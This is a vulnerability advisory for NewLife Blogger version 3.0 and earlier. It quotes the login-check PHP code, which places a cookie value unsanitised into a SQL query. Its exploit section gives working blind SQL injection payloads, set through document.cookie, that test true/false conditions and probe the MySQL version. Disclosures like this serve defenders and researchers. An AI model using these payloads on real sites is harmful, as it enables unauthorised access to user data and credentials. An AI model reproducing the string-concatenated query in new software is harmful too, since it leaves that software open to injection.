-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-= NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-= $ Program: NewLife Blogger $ Version: <= 3.0 $ File affected: system/nlb_user.class.php $ Download: http://sourceforge.net/projects/nlb/ Found by Pepelux <pepelux[at]enye-sec.org> eNYe-Sec - www.enye-sec.org Cookie format is: nlb3=7::96e79218965eb72c92a549dd5a330112 nlb3=iduser::md5 pass --Bug -- 143. function checkLogin( ) { 144. // loing check 145. if( isset( $_COOKIE['nlb3'] ) ) { 146. $data = explode( '::', $_COOKIE['nlb3'] ); 147. $id = $data[0]; 148. $pass = $data[1]; 149. $fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;'); 150. if( $pass === $fromdb['password'] ) { 151. $this->setid( $id ); 152. $this->isLogedIn = true; 153. } else { 154. $this->isLogedIn = false; 155. } 156. } 157. // we also check for banned users 158. $this->checkBanned(); 159. } -- Exploit -- True/false method to blind mysql injection. Examples: javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112" Response: You appears as logged in javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112" Response: You appears as not logged in javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112 Response: You appears as logged in if MySQL version is 4 javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112 Response: You appears as logged in if MySQL version is 5